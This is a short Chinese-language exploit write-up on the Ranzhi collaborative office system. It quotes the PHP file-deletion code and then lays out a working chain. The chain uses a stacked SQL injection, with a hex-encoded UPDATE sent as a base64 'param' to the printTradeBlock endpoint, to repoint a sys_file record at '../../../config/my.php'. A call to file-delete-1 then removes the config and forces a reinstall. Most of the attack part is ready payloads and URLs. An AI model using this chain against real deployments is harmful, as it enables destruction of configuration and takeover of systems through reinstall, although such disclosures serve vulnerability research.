然之是一款面向中小企业的协同办公系统,它包括了客户管理系统 crm系统、OA系统、企业记账软件、文档管理系统、工作流系统、免费考勤系统、免费审批系统、免费报销系统。
任意文件删除的触发点有很多,这里以一个简单的利用点为例:
public function getByID($fileID)
{
$file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch();
$realPathName = $this->getRealPathName($file->pathname);
$file->realPath = $this->savePath . $realPathName;
$file->webPath = $this->webPath . $realPathName;
return $this->processFile($file);
}
…
public function delete($fileID, $null = null)
{
$file = $this->getByID($fileID);
if(file_exists($file->realPath)) unlink($file->realPath);
$this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec();
return !dao::isError();
}
逻辑很简单,根据fileID获取文件信息,然后判断存在该文件则删除。其中获取文件信息是从TABLE_FILE数据表中查询,即对应为sys_file表,因为我们可以通过SQL语句修改控制sys_file表,因此就可以控制任意文件删除。
首先后台上传一个图片文件。
注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。
ID为1,利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句:
update sys_file set pathname='../../../config/my.php' where id=1
构造param:
{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }
最终Payload:
http://www.cesafe.com/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==
然后访问http://www.cesafe.com/ranzhi/www/sys/file-delete-1
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后,该系统将会重新安装。